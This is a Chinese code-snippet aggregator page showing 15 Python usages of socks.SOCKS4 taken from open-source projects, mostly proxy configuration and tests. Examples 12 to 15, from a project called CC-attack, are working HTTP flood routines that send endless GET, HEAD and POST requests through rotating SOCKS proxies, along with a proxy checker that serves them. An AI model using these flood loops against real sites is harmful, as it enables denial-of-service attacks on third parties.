当前位置: 首页>>代码示例>>Python>>正文


Python socks.SOCKS4属性代码示例

本文整理汇总了Python中socks.SOCKS4属性的典型用法代码示例。如果您正苦于以下问题:Python socks.SOCKS4属性的具体用法?Python socks.SOCKS4怎么用?Python socks.SOCKS4使用的例子?那么, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在socks的用法示例。


在下文中一共展示了socks.SOCKS4属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: update_config

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def update_config(self):
        if int(self.config.PROXY_ENABLE):

            if self.config.PROXY_TYPE == "HTTP":
                proxy_type = socks.HTTP
            elif self.config.PROXY_TYPE == "SOCKS4":
                proxy_type = socks.SOCKS4
            elif self.config.PROXY_TYPE == "SOCKS5":
                proxy_type = socks.SOCKS5
            else:
                self.logger.error("proxy type %s unknown, disable proxy", self.config.PROXY_TYPE)
                raise Exception()

            socks.set_default_proxy(proxy_type, self.config.PROXY_HOST, self.config.PROXY_PORT,
                                    self.config.PROXY_USER,
                                    self.config.PROXY_PASSWD) 
开发者ID:miketwes,项目名称:XX-Net-mini,代码行数:18,代码来源:connect_creator.py

示例2: main

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def main():
    conf = json.load(open("./proxy.conf"))
    if 'gfw_proxy' in conf:
        proxy = conf['gfw_proxy']
        if proxy['type'] == "socks5":
            proxy['type'] = socks.SOCKS5
        elif proxy['type'] == "socks4":
            proxy['type'] = socks.SOCKS4
        else:
            print "Only support SOCKS4/5 proxy."
            return

        print "Start TCP Proxies..."
        for f in TCP_FORWARDS:
            trd = TCP_Proxy_Thread(f['local_port'], f['remote_server'], proxy)
            trd.start()
    else:
        print "gfw_proxy not defined in proxy.conf" 
开发者ID:the729,项目名称:sync-over-the-wall,代码行数:20,代码来源:tracker_proxy.py

示例3: proxy_connect

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def proxy_connect(args):
    """
    Connect to specified proxy
    """
    if args.proxy_host:
        # Setup proxy by monkeypatching the standard lib
        if args.proxy_type.lower() == "socks5" or not args.proxy_type:
            socks.set_default_proxy(
                socks.SOCKS5, args.proxy_host,
                int(args.proxy_port))
        elif args.proxy_type.lower() == "http":
            socks.set_default_proxy(
                socks.HTTP, args.proxy_host,
                int(args.proxy_port))
        elif args.proxy_type.lower() == "socks4":
            socks.set_default_proxy(
                socks.SOCKS4, args.proxy_host,
                int(args.proxy_port))
        else:
            printNicely(
                magenta('Sorry, wrong proxy type specified! Aborting...'))
            sys.exit()
        socket.socket = socks.socksocket 
开发者ID:orakaro,项目名称:rainbowstream,代码行数:25,代码来源:rainbow.py

示例4: load_proxy_config

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def load_proxy_config():
    global default_socket
    if g.config.PROXY_ENABLE:

        if g.config.PROXY_TYPE == "HTTP":
            proxy_type = socks.HTTP
        elif g.config.PROXY_TYPE == "SOCKS4":
            proxy_type = socks.SOCKS4
        elif g.config.PROXY_TYPE == "SOCKS5":
            proxy_type = socks.SOCKS5
        else:
            xlog.error("proxy type %s unknown, disable proxy", g.config.PROXY_TYPE)
            raise Exception()

        socks.set_default_proxy(proxy_type, g.config.PROXY_HOST, g.config.PROXY_PORT,
                                g.config.PROXY_USER, g.config.PROXY_PASSWD) 
开发者ID:miketwes,项目名称:XX-Net-mini,代码行数:18,代码来源:connect_manager.py

示例5: socket_SOCKS4_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def socket_SOCKS4_test():
    s = socks.socksocket()
    s.set_proxy(socks.SOCKS4, "127.0.0.1", 1080)
    s.connect(("ifconfig.me", 80))
    s.sendall(raw_HTTP_request())
    status = s.recv(2048).splitlines()[0]
    assert status.startswith(b"HTTP/1.1 200") 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:9,代码来源:sockstest.py

示例6: socket_SOCKS4_IP_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def socket_SOCKS4_IP_test():
    s = socks.socksocket()
    s.set_proxy(socks.SOCKS4, "127.0.0.1", 1080)
    s.connect(("133.242.129.236", 80))
    s.sendall(raw_HTTP_request())
    status = s.recv(2048).splitlines()[0]
    assert status.startswith(b"HTTP/1.1 200") 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:9,代码来源:sockstest.py

示例7: _open_proxied_socket

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def _open_proxied_socket(url, options, proxy):
    hostname, port, resource, is_secure = parse_url(url)

    if not HAS_PYSOCKS:
        raise WebSocketException("PySocks module not found.")

    ptype = socks.SOCKS5
    rdns = False
    if proxy.type == "socks4":
        ptype = socks.SOCKS4
    if proxy.type == "http":
        ptype = socks.HTTP
    if proxy.type[-1] == "h":
        rdns = True

    sock = socks.create_connection(
            (hostname, port),
            proxy_type = ptype,
            proxy_addr = proxy.host,
            proxy_port = proxy.port,
            proxy_rdns = rdns,
            proxy_username = proxy.auth[0] if proxy.auth else None,
            proxy_password = proxy.auth[1] if proxy.auth else None,
            timeout = options.timeout,
            socket_options = DEFAULT_SOCKET_OPTION + options.sockopt
    )

    if is_secure:
        if HAVE_SSL:
            sock = _ssl_socket(sock, options.sslopt, hostname)
        else:
            raise WebSocketException("SSL not available.")

    return sock, (hostname, port, resource) 
开发者ID:birforce,项目名称:vnpy_crypto,代码行数:36,代码来源:_http.py

示例8: parse_proxy_str

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def parse_proxy_str(proxy_str):
    """
    Returns proxy from given string
    """
    if socks is None:
        raise Exception('Please install PySocks if you want to use a proxy')
    url_parser = urlparse(proxy_str)
    proxy_type = None
    proxy_type_str = url_parser.scheme
    
    if proxy_type_str.lower() == "socks5":
        proxy_type = socks.SOCKS5
    elif proxy_type_str.lower() == "socks4":
        proxy_type = socks.SOCKS4
    elif proxy_type_str.lower() == "https":
        proxy_type = socks.HTTP
    elif proxy_type_str.lower() == "http":
        proxy_type = socks.HTTP
    else:
        raise ValueError("Proxy type %s is not supported" % proxy_type)

    host = url_parser.hostname
    port = url_parser.port

    if host is None:
        raise ValueError("Host parsing error")
    if port is None:
        raise ValueError("Port parsing error")

    user = url_parser.username
    password = url_parser.password

    if user is not None and password is not None:
        proxy = (proxy_type, host, port, True, user, password)
    else:
        proxy = (proxy_type, host, port)
    return proxy 
开发者ID:expectocode,项目名称:telegram-export,代码行数:39,代码来源:utils.py

示例9: test_parse_proxy_str

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def test_parse_proxy_str(self):
        host = "127.0.0.1"
        port = 1080
        
        proxy = (socks.SOCKS5, host, port)
        proxy_str = "socks5://127.0.0.1:1080"
        self.assertEqual(parse_proxy_str(proxy_str), proxy)

        proxy_str = "http://127.0.0.1:1080"
        proxy = (socks.HTTP, host, port)
        self.assertEqual(parse_proxy_str(proxy_str), proxy)

        proxy_str = "socks4://login:password@127.0.0.1:1080"
        proxy = (socks.SOCKS4, host, port, True, "login", "password")
        self.assertEqual(parse_proxy_str(proxy_str), proxy)

        proxy_str = "bad_type://login:password@127.0.0.1:1080"
        with self.assertRaises(ValueError):
            parse_proxy_str(proxy_str)

        proxy_str = "bad_type://127.0.0.1"
        with self.assertRaises(ValueError):
            parse_proxy_str(proxy_str)

        proxy_str = "bad_type:127.0.0.1"
        with self.assertRaises(ValueError):
            parse_proxy_str(proxy_str)

        proxy_str = "127.0.0.1:1080"
        with self.assertRaises(ValueError):
            parse_proxy_str(proxy_str) 
开发者ID:expectocode,项目名称:telegram-export,代码行数:33,代码来源:test_utils.py

示例10: Send

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def Send(self,target,data=None,port=80,path=''):
		# set socks
		gsock = socks.socksocket()
		# method 
		if self.method != '':method = self.method.upper()
		else: method = 'GET'
		# timeout
		if self.timeout != None:
			print(self.timeout)
			gsock.settimeout(self.timeout)
		# set proxy
		if self.proxy != ('' or None or ""):
			proto,host,port = RProxy(self.proxy)
			if proto == 3:gsock.set_proxy(socks.HTTP,host,port)
			elif proto == 2:gsock.set_proxy(socks.SOCKS5,host,port)
			else:gsock.set_proxy(socks.SOCKS4,host,port)
		# connect
		gsock.connect((target,port))
		# get
		if method == 'GET':
			req  = '\r%s /%s %s/%s\r\n'%(method,data if data != None else '',
				self.protocol.upper(),self.http_version)
			if self.headers != ('' or None):req += '%s'%(RHeader(self.headers))
		# post
		elif method == 'POST':
			req = '\r%s /%s %s/%s\r\n'%(method,data if data != None else '',
				self.protocol.upper(),self.http_version)
			if self.headers != ('' or None):req += '%s'%(RHeader(self.headers))
			if data != ('' or None):req += '\r\n%s\r\n'%(data)
		# other methods
		else:
			req = '\r%s /%s %s/%s\r\n'%(method,data if data != None else '',
				self.protocol.upper(),self.http_version)
			if self.headers != ('' or None):req += '%s'%(RHeader(self.headers))
		# send data
		gsock.sendall(req)
		# return resp
		resp = gsock.recv(4096)
		return resp 
开发者ID:m4ll0k,项目名称:Galileo,代码行数:41,代码来源:gsocket.py

示例11: __init__

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def __init__(self,
                 source_addr,
                 proxy_type = None,
                 proxy_addr = None,
                 proxy_port = None,
                 proxy_username = None,
                 proxy_password = None):
        """
        Initializes the Verifier object with proxy settings.
        :param proxy_type: One of `SOCKS4`, `SOCKS5` or `HTTP`.
        :param proxy_addr: Address of the proxy.
        :param proxy_port: Port of the proxy.
        :param proxy_username: Username to authenticate with.
        :param proxy_password: Password for the user. (Only when username is provided)
        """
        if proxy_type:
            try:
                self.proxy_type = proxy[proxy_type.lower()]
            except KeyError as e:
                raise UnknownProxyError(proxy_type)
        else:
            self.proxy_type = None
        self.source_addr = source_addr
        self.proxy_addr = proxy_addr
        self.proxy_port = proxy_port
        self.proxy_username = proxy_username
        self.proxy_password = proxy_password 
开发者ID:Gardener-gg,项目名称:email-verifier,代码行数:29,代码来源:verifier.py

示例12: cc

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def cc(event,socks_type):
	connection = "Connection: Keep-Alive\r\n"
	if cookies != "":
		connection += "Cookies: "+str(cookies)+"\r\n"
	accept = Choice(acceptall)
	referer = "Referer: "+Choice(referers)+ ip + url2 + "\r\n"
	useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
	proxy = Choice(proxies).strip().split(":")
	event.wait()
	while True:
		try:
			s = socks.socksocket()
			if socks_type == 4:
				s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
			if socks_type == 5:
				s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
			if brute:
				s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
			s.connect((str(ip), int(port)))
			if port == 443:
				ctx = ssl.SSLContext()
				s = ctx.wrap_socket(s,server_hostname=ip)
			try:
				for _ in range(multiple):
					get_host = "GET " + url2 + "?" + randomurl() + " HTTP/1.1\r\nHost: " + ip + "\r\n"
					request = get_host + referer + useragent + accept + connection +"\r\n"
					s.send(str.encode(request))
			except:
				s.close()
			print ("[*] CC Flooding from | "+str(proxy[0])+":"+str(proxy[1]))
		except:
			s.close() 
开发者ID:Leeon123,项目名称:CC-attack,代码行数:34,代码来源:cc.py

示例13: head

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def head(event,socks_type):#HEAD MODE
	connection = "Connection: Keep-Alive\r\n"
	if cookies != "":
		connection += "Cookies: "+str(cookies)+"\r\n"
	accept = Choice(acceptall)
	referer = "Referer: "+Choice(referers)+ ip + url2 + "\r\n"
	useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
	proxy = Choice(proxies).strip().split(":")
	event.wait()
	while True:
		try:
			s = socks.socksocket()
			if socks_type == 4:
				s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
			if socks_type == 5:
				s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
			if brute:
				s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
			s.connect((str(ip), int(port)))
			if port == 443:
				ctx = ssl.SSLContext()
				s = ctx.wrap_socket(s,server_hostname=ip)
			try:
				for _ in range(multiple):
					head_host = "HEAD " + url2 + "?" + randomurl() + " HTTP/1.1\r\nHost: " + ip + "\r\n"
					request = head_host + referer + useragent + accept + connection +"\r\n"
					s.send(str.encode(request))
			except:
				s.close()
			print ("[*] CC Flooding from | "+str(proxy[0])+":"+str(proxy[1]))
		except:#dirty fix
			s.close() 
开发者ID:Leeon123,项目名称:CC-attack,代码行数:34,代码来源:cc.py

示例14: post

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def post(event,socks_type):
	global data
	post_host = "POST " + url2 + " HTTP/1.1\r\nHost: " + ip + "\r\n"
	content = "Content-Type: application/x-www-form-urlencoded\r\n"
	refer = "Referer: http://"+ ip + url2 + "\r\n"
	user_agent = "User-Agent: " + random.choice(useragents) + "\r\n"
	accept = Choice(acceptall)
	if mode2 != "y":
		data = str(random._urandom(16)) # You can enable bring data in HTTP Header
	length = "Content-Length: "+str(len(data))+" \r\nConnection: Keep-Alive\r\n"
	if cookies != "":
		length += "Cookies: "+str(cookies)+"\r\n"
	request = post_host + accept + refer + content + user_agent + length + "\n" + data + "\r\n\r\n"
	proxy = Choice(proxies).strip().split(":")
	event.wait()
	while True:
		try:
			s = socks.socksocket()
			if socks_type == 4:
				s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
			if socks_type == 5:
				s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
			if brute:
				s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
			s.connect((str(ip), int(port)))
			if str(port) == '443': # //AUTO Enable SSL MODE :)
				ctx = ssl.SSLContext()
				s = ctx.wrap_socket(s,server_hostname=ip)
			try:
				for _ in range(multiple):
					s.sendall(str.encode(request))
			except:
				s.close()
			print ("[*] Post Flooding from  | "+str(proxy[0])+":"+str(proxy[1]))
		except:
			s.close() 
开发者ID:Leeon123,项目名称:CC-attack,代码行数:38,代码来源:cc.py

示例15: checking

# 需要导入模块: import socks [as 别名]
# 或者: from socks import SOCKS4 [as 别名]
def checking(lines,socks_type,ms):#Proxy checker coded by Leeon123
	global nums
	global proxies
	proxy = lines.strip().split(":")
	if len(proxy) != 2:
		proxies.remove(lines)
		return
	err = 0
	while True:
		if err == 3:
			proxies.remove(lines)
			break
		try:
			s = socks.socksocket()
			if socks_type == 4:
				s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
			if socks_type == 5:
				s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
			s.settimeout(ms)
			s.connect((str(ip), int(port)))
			if port == 443:
				ctx = ssl.SSLContext()
				s = ctx.wrap_socket(s,server_hostname=ip)
			s.send(str.encode("GET / HTTP/1.1\r\n\r\n"))
			s.close()
			break
		except:
			err +=1
	nums += 1 
开发者ID:Leeon123,项目名称:CC-attack,代码行数:31,代码来源:cc.py


注:本文中的socks.SOCKS4属性示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。